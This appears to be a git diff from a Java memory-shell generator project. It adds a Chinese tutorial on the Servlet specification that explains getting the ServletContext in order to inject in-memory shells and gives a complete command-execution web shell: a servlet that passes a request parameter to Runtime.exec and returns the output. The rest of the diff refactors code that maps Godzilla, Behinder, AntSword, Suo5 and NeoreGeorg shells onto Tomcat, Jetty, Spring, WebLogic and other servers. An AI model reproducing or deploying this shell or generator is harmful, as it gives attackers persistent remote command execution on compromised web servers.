-| javax.servlet.http.HttpSessionAttributeListener  | 在 HttpSession 上添加、移除或替换属性      |
+| javax.servlet.http.HttpSessionAttributeListener  | 在 HttpSession 上添加、移除或替换属性       |
-| javax.servlet.http.HttpSessionIdListener         | 在 HttpSession id 变化时                   |
+| javax.servlet.http.HttpSessionIdListener         | 在 HttpSession id 变化时            |
-| javax.servlet.http.HttpSessionActivationListener | 在 HttpSession 激活或钝化时                |
+| javax.servlet.http.HttpSessionActivationListener | 在 HttpSession 激活或钝化时            |
-| javax.servlet.http.HttpSessionBindingListener    | 在 HttpSession 上对象绑定或解绑时          |
+| javax.servlet.http.HttpSessionBindingListener    | 在 HttpSession 上对象绑定或解绑时         |
-| javax.servlet.ServletRequestListener             | 在 ServletRequest 在将要被 Web 容器处理时  |
+| javax.servlet.ServletRequestListener             | 在 ServletRequest 在将要被 Web 容器处理时 |
-| javax.servlet.ServletRequestAttributeListener    | 在 ServletRequest 上添加、移除或替换属性时 |
+| javax.servlet.ServletRequestAttributeListener    | 在 ServletRequest 上添加、移除或替换属性时   |
-| javax.servlet.AsyncListener                      | 在异步操作开始、超时或完成时               |
+| javax.servlet.AsyncListener                      | 在异步操作开始、超时或完成时                 |
 
 ## ServletRequestListener
 

docs/shell/ServletShell.md

@@ -0,0 +1,98 @@
+# Java Servlet
+
+Java SE 中我们可以创建 socket 服务端为用户提供服务，但需要用户使用 socket 客户端，当然也可以基于 socket 实现 HTTP 协议，WebFlux 就是这样子的存在。而在 Java EE 中，Java 制定了 Servlet 规范，来规范在 Java 中提供 HTTP 服务的编写方式，其中有两个重要的概念，Servlet 与 Servlet Container。Servlet 是基于 Java 的 Web 组件，由容器进行管理，提供动态内容。Servlet 容器用于提供基于请求/响应发送模式的服务，必须支持 HTTP，并且管理 Servlet 的生命周期，使 Servlet 在一个受限的安全环境中执行。
+
+Servlet 规范旨在让开发者基于规范开发的应用，可以部署在任意满足规范的 Web 容器上。每个 Servlet 规范版本都引入了一些新的东西，Servlet 4.0 前的版本变更可查看 [java-servlet-version-history](https://www.codejava.net/java-ee/servlet/java-servlet-version-history)。
+
+目前常见的 Servlet 规范就是 [Servlet 3.1](https://github.com/waylau/servlet-3.1-specification/blob/master/docs), Tomcat 8.x 版本就是 Servlet 3.1 版本，从 Servlet 5.0 开始，Java EE 更名为 Jakarta EE，包路径从 javax 改为 jakarta。目前最新的 Servlet 规范是 [Servlet 6.1](https://jakarta.ee/zh/specifications/servlet/6.1/)。另外可以 [在此](https://tomcat.apache.org/whichversion.html) 查看 Tomcat 容器支持的 Servlet 规范版本。
+
+## ServletContext
+
+> [Servlet 3.1 规范 - 4.1 ServletContext 接口介绍](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Servlet%20Context/4.1%20Introduction%20to%20the%20ServletContext%20Interface.md)
+
+ServletContext 定义了 Servlet 运行的 Web 应用视图，一个 Web 应用对应一个 ServletContext。
+
+ServletContext 必须支持编程式添加 Servlet、Filter 和 Listener，对框架开发者有用处。但是规定了这些方法只能在 ServletContextListener.contexInitialized 或 ServletContainerInitializer.onStartup 应用初始化的时候调用。
+
+```java
+addServlet(String servletName, String className);
+addServlet(String servletName, Servlet servlet);
+addServlet(String servletName, Class <? extends Servlet> servletClass);
+addFilter(String filterName, String className);
+addFilter(String filterName, Filter filter);
+addFilter(String filterName, Class <? extends Filter> filterClass);
+void addListener(String className);
+void addListener(T t);
+void addListener(Class <? extends EventListener> listenerClass);
+```
+
+这就是在注入内存马时我们需要先拿 Context 的原因（已经写在了 Servlet 规范里面啦），所以针对实现了 Servlet 规范的 Web 容器都是一个套路，并且该反射调用哪些方法也写在里面了。不过在实现的时候却写了那么多代码的原因就是，其规定了这些方法只能在应用初始化的时候调用，我们注入内存马的时候已经是应用运行时了，那些代码实际上就是将方法内的具体实现重新用反射实现一遍。
+
+## HttpServlet
+
+99.99% 的时候，我们实现 HttpServlet 抽象类给予我们的能力就可以了，以下每个方法都对应了 HTTP Method 方法，当我们想要实现处理 Get 请求实现 doGet，处理 Post 请求就实现 doPost。
+
+```java
+protected void doGet(HttpServletRequest req, HttpServletResponse resp);
+protected void doPost(HttpServletRequest req, HttpServletResponse resp);
+protected void doPut(HttpServletRequest req, HttpServletResponse resp);
+protected void doDelete(HttpServletRequest req, HttpServletResponse resp);
+protected void doHead(HttpServletRequest req, HttpServletResponse resp);
+protected void doOptions(HttpServletRequest req, HttpServletResponse resp);
+protected void doTrace(HttpServletRequest req, HttpServletResponse resp);
+```
+
+Servlet 规范中规定了，对于非分布式应用来说，Servlet 容器必须确保对于每个 Servlet 定义只存在一个实例，但是 Web 服务是多线程的，所以 Servlet 是线程不安全的，在 Servlet 中的成员变量都是线程不安全的。
+
+针对 Servlet 的路径映射提供了注解的方式和 web.xml 方法，以下两种方式都能定义访问 `/foo` 即调用 CalculatorServlet 中对应的实现方法。
+
+```java
+@WebServlet(”/foo”)
+public class CalculatorServlet extends HttpServlet{
+//...
+}
+```
+
+```xml
+<servlet>
+    <servlet-name>foo</servlet-name>
+    <servlet-class>org.example.CalculatorServlet</servlet-class>
+</servlet>
+<servlet-mapping>
+    <servlet-name>foo</servlet-name>
+    <url-pattern>/foo</url-pattern>
+</servlet-mapping>
+```
+
+## ServletShell
+
+shell 的目的，就是为了定义一个入口，我们能与 Web 服务器进行交互。以下定义了一个命令回显的 ServletShell。
+
+1. doGet 调用转发给 doPost，这样我们即支持 GET 也支持 POST，防止某些情况下有请求方法的限制。
+2. 交互的入口是 `request.getParameter` 支持两种方式传参。GET/POST 请求发送 `/?paramName=whoami`，也可以发送 POST 请求时使用 `application/x-www-form-urlencoded` 发送 body 参数。`multipart/form-data` 是不支持从 `request.getParameter` 获取参数的。
+
+```java
+public class CommandServlet extends HttpServlet {
+    public static String paramName;
+
+    @Override
+    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
+        doPost(req, resp);
+    }
+
+    @Override
+    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
+        String cmd = request.getParameter(paramName);
+        if (cmd != null) {
+            Process exec = Runtime.getRuntime().exec(cmd);
+            InputStream inputStream = exec.getInputStream();
+            ServletOutputStream outputStream = response.getOutputStream();
+            byte[] buf = new byte[8192];
+            int length;
+            while ((length = inputStream.read(buf)) != -1) {
+                outputStream.write(buf, 0, length);
+            }
+        }
+    }
+}
+```

generator/build.gradle.kts

@@ -1,5 +1,5 @@
 plugins {
-    id("java-library")
+    id("java")
     alias(libs.plugins.lombok)
     id("maven-publish-convention")
 }
@@ -29,21 +29,17 @@ tasks.test {
 dependencies {
     implementation(project(":memshell-party-common"))
     implementation(project(":packer"))
-    api(libs.byte.buddy)
+    implementation(libs.byte.buddy)
     implementation(libs.asm.commons)
     implementation(libs.javax.websocket.api)
-    implementation(libs.jakarta.websocket.client.api)
     implementation(libs.javax.servlet.api)
-    implementation(libs.jakarta.servlet.api)
     implementation(libs.spring.webmvc)
     implementation(libs.spring.webflux)
-    implementation(libs.tomcat.embed.core)
     implementation(libs.reactor.netty.core)
-    implementation(libs.alibaba.dubbo)
-    implementation(libs.apache.dubbo)
-    implementation(libs.jackson.annotations)
-    implementation(libs.bundles.jna)
 
+    implementation(libs.bundles.jna)
+    implementation(libs.bcel)
+    implementation(libs.jackson.databind)
     testImplementation(libs.junit.jupiter)
     testImplementation(libs.hamcrest)
     testRuntimeOnly(libs.junit.platform.launcher)

generator/src/main/java/com/reajason/javaweb/Server.java

@@ -20,6 +20,4 @@ public class Server {
     public static final String SpringWebMvc = "SpringWebMvc";
     public static final String SpringWebFlux = "SpringWebFlux";
     public static final String XXLJOB = "XXLJOB";
-    public static final String Struct2 = "Struct2";
-    public static final String Dubbo = "Dubbo";
 }

generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java

@@ -1,23 +1,13 @@
 package com.reajason.javaweb.memshell;
 
 import com.reajason.javaweb.GenerationException;
-import com.reajason.javaweb.asm.ClassInterfaceUtils;
 import com.reajason.javaweb.memshell.config.InjectorConfig;
 import com.reajason.javaweb.memshell.config.ShellConfig;
 import com.reajason.javaweb.memshell.config.ShellToolConfig;
-import com.reajason.javaweb.memshell.generator.DubboServiceInterfaceHelperGenerator;
 import com.reajason.javaweb.memshell.generator.InjectorGenerator;
-import com.reajason.javaweb.memshell.generator.WebSocketByPassHelperGenerator;
 import com.reajason.javaweb.memshell.server.AbstractServer;
-import com.reajason.javaweb.probe.ProbeContent;
-import com.reajason.javaweb.probe.ProbeMethod;
-import com.reajason.javaweb.probe.config.ProbeConfig;
-import com.reajason.javaweb.probe.config.ResponseBodyConfig;
-import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
 import com.reajason.javaweb.utils.CommonUtil;
-import org.apache.commons.codec.binary.Base64;
 import org.apache.commons.lang3.StringUtils;
-import org.apache.commons.lang3.Strings;
 import org.apache.commons.lang3.tuple.Pair;
 
 import java.util.Map;
@@ -56,59 +46,14 @@ public class MemShellGenerator {
             injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
         }
 
-        if (shellConfig.isLambdaSuffix()) {
-            shellToolConfig.setShellClassName(CommonUtil.appendLambdaSuffix(shellToolConfig.getShellClassName()));
-            injectorConfig.setInjectorClassName(CommonUtil.appendLambdaSuffix(injectorConfig.getInjectorClassName()));
-        }
-
         byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig);
 
-        if (shellConfig.getShellType().endsWith(ShellType.DUBBO_SERVICE)) {
-            String packageName = CommonUtil.getPackageName(shellToolConfig.getShellClassName());
-            String simpleName = CommonUtil.getSimpleName(shellToolConfig.getShellClassName());
-            String interfaceName = packageName + ".I" + simpleName;
-            injectorConfig.setInjectorHelperClassName(interfaceName);
-            injectorConfig.setHelperClassBytes(DubboServiceInterfaceHelperGenerator.getBytes(interfaceName, shellConfig));
-            shellBytes = ClassInterfaceUtils.addInterface(shellBytes, interfaceName);
-            String urlPattern = injectorConfig.getUrlPattern();
-            if (Strings.CS.equalsAny(urlPattern, "/*", "/")
-                    || StringUtils.isBlank(urlPattern)) {
-                injectorConfig.setUrlPattern(interfaceName);
-            }
-        }
-
-        if (ShellType.BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())
-                || ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())) {
-            String helperClassName = shellToolConfig.getShellClassName() + "$1";
-            injectorConfig.setInjectorHelperClassName(helperClassName);
-            injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(helperClassName, shellConfig, shellToolConfig));
-        }
-
         injectorConfig.setInjectorClass(injectorClass);
         injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
         injectorConfig.setShellClassBytes(shellBytes);
 
         InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
         byte[] injectorBytes = injectorGenerator.generate();
-        if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
-            ProbeConfig probeConfig = ProbeConfig.builder()
-                    .shellClassName(injectorConfig.getInjectorClassName() + "Wrapper")
-                    .probeMethod(ProbeMethod.ResponseBody)
-                    .probeContent(ProbeContent.Bytecode)
-                    .targetJreVersion(shellConfig.getTargetJreVersion())
-                    .byPassJavaModule(shellConfig.isByPassJavaModule())
-                    .shrink(shellConfig.isShrink())
-                    .debug(shellConfig.isDebug())
-                    .staticInitialize(injectorConfig.isStaticInitialize())
-                    .build();
-            ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder()
-                    .server(serverName)
-                    .base64Bytes(Base64.encodeBase64String(CommonUtil.gzipCompress(injectorBytes)))
-                    .build();
-            injectorBytes = new ResponseBodyGenerator(probeConfig, responseBodyConfig).getBytes();
-            injectorConfig.setInjectorClassName(probeConfig.getShellClassName());
-        }
-
         Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
 
         return MemShellResult.builder()

generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java

@@ -8,8 +8,6 @@ import com.reajason.javaweb.memshell.shelltool.command.*;
 import com.reajason.javaweb.memshell.shelltool.godzilla.*;
 import com.reajason.javaweb.memshell.shelltool.neoreg.*;
 import com.reajason.javaweb.memshell.shelltool.suo5.*;
-import com.reajason.javaweb.memshell.shelltool.suo5v2.*;
-import com.reajason.javaweb.memshell.shelltool.wsproxy.ProxyWebSocket;
 
 import java.util.Collections;
 import java.util.List;
@@ -46,8 +44,6 @@ public class ServerFactory {
         register(Server.SpringWebMvc, SpringWebMvc::new);
         register(Server.SpringWebFlux, SpringWebFlux::new);
         register(Server.XXLJOB, XxlJob::new);
-        register(Server.Struct2, Struct2::new);
-        register(Server.Dubbo, Dubbo::new);
 
         addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
                 .addShellClass(SERVLET, GodzillaServlet.class)
@@ -62,8 +58,6 @@ public class ServerFactory {
                 .addShellClass(JAKARTA_PROXY_VALVE, Godzilla.class)
                 .addShellClass(WEBSOCKET, GodzillaWebSocket.class)
                 .addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class)
-                .addShellClass(BYPASS_NGINX_WEBSOCKET, GodzillaWebSocket.class)
-                .addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, GodzillaWebSocket.class)
                 .addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
                 .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
                 .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
@@ -75,14 +69,10 @@ public class ServerFactory {
                 .addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class)
                 .addShellClass(AGENT_FILTER_CHAIN, Godzilla.class)
                 .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Godzilla.class)
-                .addShellClass(HANDLER, GodzillaJettyHandler.class)
+                .addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyHandler.class)
-                .addShellClass(JAKARTA_HANDLER, GodzillaJettyHandler.class)
-                .addShellClass(CUSTOMIZER, GodzillaJettyCustomizer.class)
-                .addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyAgentHandler.class)
                 .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
                 .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
                 .addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
-                .addShellClass(ACTION, GodzillaStruct2Action.class)
                 .build());
 
         addToolMapping(ShellTool.Behinder, ToolMapping.builder()
@@ -107,7 +97,6 @@ public class ServerFactory {
                 .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class)
                 .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class)
                 .addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class)
-                .addShellClass(ACTION, BehinderStruct2Action.class)
                 .build());
 
         addToolMapping(ShellTool.AntSword, ToolMapping.builder()
@@ -125,7 +114,6 @@ public class ServerFactory {
                 .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class)
                 .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class)
                 .addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class)
-                .addShellClass(ACTION, AntSwordStruct2Action.class)
                 .build());
 
         addToolMapping(ShellTool.Command, ToolMapping.builder()
@@ -141,9 +129,6 @@ public class ServerFactory {
                 .addShellClass(JAKARTA_PROXY_VALVE, Command.class)
                 .addShellClass(WEBSOCKET, CommandWebSocket.class)
                 .addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
-                .addShellClass(BYPASS_NGINX_WEBSOCKET, CommandWebSocket.class)
-                .addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, CommandWebSocket.class)
-                .addShellClass(UPGRADE, CommandUpgrade.class)
                 .addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
                 .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
                 .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
@@ -155,16 +140,10 @@ public class ServerFactory {
                 .addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
                 .addShellClass(AGENT_FILTER_CHAIN, Command.class)
                 .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Command.class)
-                .addShellClass(JETTY_AGENT_HANDLER, CommandJettyAgentHandler.class)
+                .addShellClass(JETTY_AGENT_HANDLER, CommandJettyHandler.class)
-                .addShellClass(HANDLER, CommandJettyHandler.class)
-                .addShellClass(CUSTOMIZER, CommandJettyCustomizer.class)
-                .addShellClass(JAKARTA_HANDLER, CommandJettyHandler.class)
                 .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
                 .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
                 .addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
-                .addShellClass(ACTION, CommandStruct2Action.class)
-                .addShellClass(ALIBABA_DUBBO_SERVICE, CommandDubboService.class)
-                .addShellClass(APACHE_DUBBO_SERVICE, CommandDubboService.class)
                 .build());
 
         addToolMapping(ShellTool.Suo5, ToolMapping.builder()
@@ -190,33 +169,6 @@ public class ServerFactory {
                 .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class)
                 .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class)
                 .addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class)
-                .addShellClass(ACTION, Suo5Struct2Action.class)
-                .build());
-
-        addToolMapping(ShellTool.Suo5v2, ToolMapping.builder()
-                .addShellClass(SERVLET, Suo5v2Servlet.class)
-                .addShellClass(JAKARTA_SERVLET, Suo5v2Servlet.class)
-                .addShellClass(FILTER, Suo5v2Filter.class)
-                .addShellClass(JAKARTA_FILTER, Suo5v2Filter.class)
-                .addShellClass(LISTENER, Suo5v2Listener.class)
-                .addShellClass(JAKARTA_LISTENER, Suo5v2Listener.class)
-                .addShellClass(VALVE, Suo5v2Valve.class)
-                .addShellClass(JAKARTA_VALVE, Suo5v2Valve.class)
-                .addShellClass(PROXY_VALVE, Suo5v2.class)
-                .addShellClass(JAKARTA_PROXY_VALVE, Suo5v2.class)
-                .addShellClass(SPRING_WEBMVC_INTERCEPTOR, Suo5v2Interceptor.class)
-                .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, Suo5v2Interceptor.class)
-                .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, Suo5v2ControllerHandler.class)
-                .addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, Suo5v2ControllerHandler.class)
-                .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Suo5v2.class)
-                .addShellClass(AGENT_FILTER_CHAIN, Suo5v2.class)
-                .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Suo5v2.class)
-                .addShellClass(JETTY_AGENT_HANDLER, Suo5v2JettyHandler.class)
-                .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5v2UndertowServletHandler.class)
-                .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5v2.class)
-                .addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5v2.class)
-                .addShellClass(ACTION, Suo5v2Struct2Action.class)
-                .addShellClass(CUSTOMIZER, Suo5v2JettyCustomizer.class)
                 .build());
 
         addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder()
@@ -241,14 +193,6 @@ public class ServerFactory {
                 .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class)
                 .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class)
                 .addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
-                .addShellClass(ACTION, NeoreGeorgStruct2Action.class)
-                .build());
-
-        addToolMapping(ShellTool.Proxy, ToolMapping.builder()
-                .addShellClass(WEBSOCKET, ProxyWebSocket.class)
-                .addShellClass(JAKARTA_WEBSOCKET, ProxyWebSocket.class)
-                .addShellClass(BYPASS_NGINX_WEBSOCKET, ProxyWebSocket.class)
-                .addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, ProxyWebSocket.class)
                 .build());
     }
 

generator/src/main/java/com/reajason/javaweb/memshell/ShellTool.java

@@ -9,9 +9,7 @@ public class ShellTool {
     public static final String Behinder = "Behinder";
     public static final String Command = "Command";
     public static final String Suo5 = "Suo5";
-    public static final String Suo5v2 = "Suo5v2";
     public static final String AntSword = "AntSword";
     public static final String NeoreGeorg = "NeoreGeorg";
-    public static final String Proxy = "Proxy";
     public static final String Custom = "Custom";
 }

generator/src/main/java/com/reajason/javaweb/memshell/ShellToolFactory.java

@@ -23,11 +23,9 @@ public class ShellToolFactory {
         register(ShellTool.Behinder, BehinderGenerator.class, BehinderConfig.class);
         register(ShellTool.Command, CommandGenerator.class, CommandConfig.class);
         register(ShellTool.Suo5, Suo5Generator.class, Suo5Config.class);
-        register(ShellTool.Suo5v2, Suo5V2Generator.class, Suo5Config.class);
         register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class);
         register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class);
         register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class);
-        register(ShellTool.Proxy, ProxyGenerator.class, ProxyConfig.class);
     }
 
     public static void register(String shellToolName, Class<? extends ShellGenerator> generatorClass, Class<? extends ShellToolConfig> configClass) {

generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java

@@ -15,22 +15,17 @@ public class ShellType {
     public static final String JAKARTA_LISTENER = JAKARTA + LISTENER;
 
     public static final String VALVE = "Valve";
-    public static final String UPGRADE = "Upgrade";
     public static final String JAKARTA_VALVE = JAKARTA + VALVE;
     public static final String PROXY_VALVE = "Proxy" + VALVE;
     public static final String JAKARTA_PROXY_VALVE = JAKARTA + PROXY_VALVE;
 
-    public static final String HANDLER = "Handler";
-    public static final String JAKARTA_HANDLER = JAKARTA + HANDLER;
-    public static final String CUSTOMIZER = "Customizer";
-
     public static final String NETTY_HANDLER = "NettyHandler";
 
     public static final String AGENT = "Agent";
 
     public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
     public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
-    public static final String JETTY_AGENT_HANDLER = AGENT + HANDLER;
+    public static final String JETTY_AGENT_HANDLER = AGENT + "Handler";
     public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
     public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
     public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
@@ -45,13 +40,5 @@ public class ShellType {
     public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod";
     public static final String SPRING_WEBFLUX_HANDLER_FUNCTION = "HandlerFunction";
     public static final String WEBSOCKET = "WebSocket";
-    public static final String BYPASS_NGINX_WEBSOCKET = "BypassNginx" + WEBSOCKET;
     public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket";
-    public static final String JAKARTA_BYPASS_NGINX_WEBSOCKET = "JakartaWebBypassNginx" + WEBSOCKET;
-
-    public static final String ACTION = "Action";
-
-    public static final String DUBBO_SERVICE = "DubboService";
-    public static final String APACHE_DUBBO_SERVICE = "Apache" + DUBBO_SERVICE;
-    public static final String ALIBABA_DUBBO_SERVICE = "Alibaba" + DUBBO_SERVICE;
 }

generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java

@@ -15,42 +15,15 @@ import org.apache.commons.lang3.StringUtils;
 @SuperBuilder
 @ToString
 public class CommandConfig extends ShellToolConfig {
-
-    /**
-     * 接收参数的请求头或请求参数名称
-     */
     @Builder.Default
     private String paramName = CommonUtil.getRandomString(8);
 
-    /**
-     * 只有在 WebSocket Bypass 的时候才有用，防止对业务的干扰
-     */
-    @Builder.Default
-    private String headerName = "User-Agent";
-
-    /**
-     * 只有在 WebSocket Bypass 的时候才有用，防止对业务的干扰
-     */
-    @Builder.Default
-    private String headerValue = CommonUtil.getRandomString(8);
-
-    /**
-     * 加密器
-     */
     @Builder.Default
     private Encryptor encryptor = Encryptor.RAW;
 
-    /**
-     * 实现类
-     */
     @Builder.Default
     private ImplementationClass implementationClass = ImplementationClass.RuntimeExec;
 
-    /**
-     * 命令执行模板，使用 {command} 作为占位符
-     */
-    private String template;
-
     public static abstract class CommandConfigBuilder<C extends CommandConfig, B extends CommandConfig.CommandConfigBuilder<C, B>>
             extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
         public B paramName(String paramName) {
@@ -60,22 +33,6 @@ public class CommandConfig extends ShellToolConfig {
             }
             return self();
         }
-
-        public B headerName(final String headerName) {
-            if (StringUtils.isNotBlank(headerName)) {
-                this.headerName$value = headerName;
-                headerName$set = true;
-            }
-            return self();
-        }
-
-        public B headerValue(final String headerValue) {
-            if (StringUtils.isNotBlank(headerValue)) {
-                this.headerValue$value = headerValue;
-                headerValue$set = true;
-            }
-            return self();
-        }
     }
 
 
@@ -91,15 +48,12 @@ public class CommandConfig extends ShellToolConfig {
     }
 
     public enum Encryptor {
-        RAW, BASE64, DOUBLE_BASE64;
+        RAW, DOUBLE_BASE64;
 
         public static Encryptor fromString(String encryptor) {
             if (encryptor != null && encryptor.equals("DOUBLE_BASE64")) {
                 return DOUBLE_BASE64;
             }
-            if (encryptor != null && encryptor.equals("BASE64")) {
-                return BASE64;
-            }
             return RAW;
         }
     }

generator/src/main/java/com/reajason/javaweb/memshell/config/InjectorConfig.java

@@ -16,44 +16,37 @@ import net.bytebuddy.dynamic.DynamicType;
 @AllArgsConstructor
 @Builder(toBuilder = true)
 public class InjectorConfig {
+    /**
+     * 注入器 Builder
+     */
+    DynamicType.Builder<?> injectorBuilder;
+    /**
+     * 内存马 Builder
+     */
+    DynamicType.Builder<?> shellBuilder;
     /**
      * 注入器模板类
      */
     private Class<?> injectorClass;
-
     /**
      * 注入器类名
      */
     @Builder.Default
     private String injectorClassName = CommonUtil.generateInjectorClassName();
-
-    /**
-     * 辅助类类名
-     */
-    private String injectorHelperClassName;
-
-
     /**
      * 注入访问的地址
      */
     @Builder.Default
     private String urlPattern = "/*";
-
     /**
      * 内存马类名
      */
     private String shellClassName;
-
     /**
      * 内存马类字节
      */
     private byte[] shellClassBytes;
 
-    /**
-     * 辅助类字节码
-     */
-    private byte[] helperClassBytes;
-
     /**
      * 添加静态代码块调用构造方法初始化
      */

generator/src/main/java/com/reajason/javaweb/memshell/config/ProxyConfig.java

@@ -1,38 +0,0 @@
-package com.reajason.javaweb.memshell.config;
-
-import com.reajason.javaweb.utils.CommonUtil;
-import lombok.*;
-import lombok.experimental.SuperBuilder;
-import org.apache.commons.lang3.StringUtils;
-
-@Getter
-@SuperBuilder
-@NoArgsConstructor
-@AllArgsConstructor
-@ToString
-public class ProxyConfig extends ShellToolConfig {
-    @Builder.Default
-    private String headerName = "User-Agent";
-    @Builder.Default
-    private String headerValue = CommonUtil.getRandomString(8);
-
-    public static abstract class ProxyConfigBuilder<C extends ProxyConfig, B extends ProxyConfig.ProxyConfigBuilder<C, B>>
-            extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
-
-        public B headerName(final String headerName) {
-            if (StringUtils.isNotBlank(headerName)) {
-                this.headerName$value = headerName;
-                headerName$set = true;
-            }
-            return self();
-        }
-
-        public B headerValue(final String headerValue) {
-            if (StringUtils.isNotBlank(headerValue)) {
-                this.headerValue$value = headerValue;
-                headerValue$set = true;
-            }
-            return self();
-        }
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/config/ShellConfig.java

@@ -55,36 +55,19 @@ public class ShellConfig {
     @Builder.Default
     private boolean debug = false;
 
-    /**
-     * 是否使用回显模式
-     */
-    @Builder.Default
-    private boolean probe = false;
-
     /**
      * 是否启用缩小字节码
      */
     @Builder.Default
     private boolean shrink = false;
 
-    /**
-     * 追加 Lambda 类名后缀
-     */
-    @Builder.Default
-    private boolean lambdaSuffix = false;
-
-    /**
-     * 将 Java EE 转换为 Jakarta EE 类名
-     */
-    @Builder.Default
-    private boolean jakarta = false;
-
     public boolean isDebugOff() {
         return !debug;
     }
 
+
     public boolean isJakarta() {
-        return jakarta || shellType.startsWith(ShellType.JAKARTA);
+        return shellType.startsWith(ShellType.JAKARTA);
     }
 
     public boolean needByPassJavaModule() {

generator/src/main/java/com/reajason/javaweb/memshell/generator/ASMShellGenerator.java

@@ -0,0 +1,19 @@
+package com.reajason.javaweb.memshell.generator;
+
+import com.reajason.javaweb.ShellGenerator;
+import com.reajason.javaweb.memshell.config.ShellConfig;
+import com.reajason.javaweb.memshell.config.ShellToolConfig;
+
+/**
+ * @author ReaJason
+ * @since 2025/5/27
+ */
+public abstract class ASMShellGenerator<T extends ShellToolConfig> implements ShellGenerator {
+    protected final ShellConfig shellConfig;
+    protected final T shellToolConfig;
+
+    protected ASMShellGenerator(ShellConfig shellConfig, T shellToolConfig) {
+        this.shellConfig = shellConfig;
+        this.shellToolConfig = shellToolConfig;
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/generator/ByteBuddyShellGenerator.java

@@ -1,10 +1,16 @@
 package com.reajason.javaweb.memshell.generator;
 
+import com.reajason.javaweb.ClassBytesShrink;
 import com.reajason.javaweb.GenerationException;
 import com.reajason.javaweb.ShellGenerator;
+import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
